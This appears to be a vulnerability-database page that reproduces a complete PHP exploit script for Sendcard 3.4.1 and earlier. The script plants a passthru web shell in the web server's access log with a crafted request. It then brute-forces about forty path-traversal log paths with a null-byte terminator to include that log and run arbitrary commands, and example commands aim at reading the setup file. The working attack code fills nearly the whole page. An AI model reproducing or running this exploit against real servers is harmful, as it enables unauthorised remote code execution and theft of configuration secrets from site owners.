Lucene search
K

Sendcard <= 3.4.1 (Local File Inclusion) Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

sendcard <= 3.4.1 Remote Code Executio

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?php

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

if ($argc&#60;4) {
print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;             Sendcard &#60;= 3.4.1 Remote Code Execution Exploit\r\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;Usage: w4ck1ng_sendcard.php [HOST] [PATH] [COMMAND]\r\n\r\n&#34;;
print &#34;[HOST] 	  = Target server&#39;s hostname or ip address\r\n&#34;;
print &#34;[PATH] 	  = Path where Sendcard is located\r\n&#34;;
print &#34;[COMMAND] = Command to execute\r\n\r\n&#34;;
print &#34;e.g. w4ck1ng_sendcard.php victim.com /sendcard/ \&#34;ls -lia\&#34;\r\n&#34;;
print &#34;     w4ck1ng_sendcard.php victim.com /sendcard/ \&#34;cat sendcard_setup.php\&#34;\r\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;
print &#34;            		 http://www.w4ck1ng.com\r\n&#34;;
print &#34;            		        ...Silentz\r\n&#34;;
print &#34;-------------------------------------------------------------------------\r\n&#34;;
die;
}

//Props to rgod for the following functions

$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$cmd=&#34;&#34;;$port=80;$proxy=&#34;&#34;;

for ($i=3; $i&#60;=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&#60;&#62;&#34;-p&#34;) and ($temp&#60;&#62;&#34;-P&#34;))
{$cmd.=&#34; &#34;.$argv[$i];}
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

$code=&#34;&#60;?php echo w4ckw4ck;error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}passthru(\$_GET[cmd]);die;?&#62;&#34;;
$packet=&#34;GET &#34; . $p . $code . &#34; HTTP/1.0\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n&#34;;
$packet.=&#34;Host: &#34; . $host . &#34;\r\n&#34;;
$packet.=&#34;Connection: close\r\n\r\n&#34;;

sendpacketii($packet);
sleep(3);

$paths= array (
&#34;../../../../../var/log/httpd/access_log&#34;,
&#34;../../../../../var/log/httpd/error_log&#34;,
&#34;../apache/logs/error.log&#34;,
&#34;../apache/logs/access.log&#34;,
&#34;../../apache/logs/error.log&#34;,
&#34;../../apache/logs/access.log&#34;,
&#34;../../../apache/logs/error.log&#34;,
&#34;../../../apache/logs/access.log&#34;,
&#34;../../../../apache/logs/error.log&#34;,
&#34;../../../../apache/logs/access.log&#34;,
&#34;../../../../../apache/logs/error.log&#34;,
&#34;../../../../../apache/logs/access.log&#34;,
&#34;../logs/error.log&#34;,
&#34;../logs/access.log&#34;,
&#34;../../logs/error.log&#34;,
&#34;../../logs/access.log&#34;,
&#34;../../../logs/error.log&#34;,
&#34;../../../logs/access.log&#34;,
&#34;../../../../logs/error.log&#34;,
&#34;../../../../logs/access.log&#34;,
&#34;../../../../../logs/error.log&#34;,
&#34;../../../../../logs/access.log&#34;,
&#34;../../../../../etc/httpd/logs/access_log&#34;,
&#34;../../../../../etc/httpd/logs/access.log&#34;,
&#34;../../../../../etc/httpd/logs/error_log&#34;,
&#34;../../../../../etc/httpd/logs/error.log&#34;,
&#34;../../../../../var/www/logs/access_log&#34;,
&#34;../../../../../var/www/logs/access.log&#34;,
&#34;../../../../../usr/local/apache/logs/access_log&#34;,
&#34;../../../../../usr/local/apache/logs/access.log&#34;,
&#34;../../../../../var/log/apache/access_log&#34;,
&#34;../../../../../var/log/apache/access.log&#34;,
&#34;../../../../../var/log/access_log&#34;,
&#34;../../../../../var/www/logs/error_log&#34;,
&#34;../../../../../var/www/logs/error.log&#34;,
&#34;../../../../../usr/local/apache/logs/error_log&#34;,
&#34;../../../../../usr/local/apache/logs/error.log&#34;,
&#34;../../../../../var/log/apache/error_log&#34;,
&#34;../../../../../var/log/apache/error.log&#34;,
&#34;../../../../../var/log/access_log&#34;,
&#34;../../../../../var/log/error_log&#34;
);

for ($i=0; $i&#60;=count($paths)-1; $i++)
{
$a=$i+2;

$packet =&#34;GET &#34; . $p . &#34;sendcard.php?sc_language=&#34; . $paths[$i] . &#34;%00&cmd=&#34; . $cmd . &#34; HTTP/1.1\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n&#34;;
$packet.=&#34;Host: &#34; . $host . &#34;\r\n&#34;; 
$packet.=&#34;Connection: Close\r\n\r\n&#34;;

sendpacketii($packet);

if (strstr($html,&#34;w4ckw4ck&#34;))
    {
     $temp=explode(&#34;w4ckw4ck&#34;,$html);
	print &#34;-------------------------------------------------------------------------\r\n&#34;;
	print &#34;             Sendcard &#60;= 3.4.1 Remote Code Execution Exploit\r\n&#34;;
	print &#34;-------------------------------------------------------------------------\r\n&#34;;
        echo $temp[1];
	print &#34;-------------------------------------------------------------------------\r\n&#34;;
	print &#34;            		 http://www.w4ck1ng.com\r\n&#34;;
	print &#34;            		        ...Silentz\r\n&#34;;
	print &#34;-------------------------------------------------------------------------\r\n&#34;;
	exit;
    }
}

	print &#34;-------------------------------------------------------------------------\r\n&#34;;
	print &#34;             Sendcard &#60;= 3.4.1 Remote Code Execution Exploit\r\n&#34;;
	print &#34;-------------------------------------------------------------------------\r\n&#34;;
        echo &#34;[-] Exploit Failed...\r\n&#34;;
	print &#34;-------------------------------------------------------------------------\r\n&#34;;
	print &#34;            		 http://www.w4ck1ng.com\r\n&#34;;
	print &#34;            		        ...Silentz\r\n&#34;;
	print &#34;-------------------------------------------------------------------------\r\n&#34;;

?&#62;

# milw0rm.com [2007-06-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15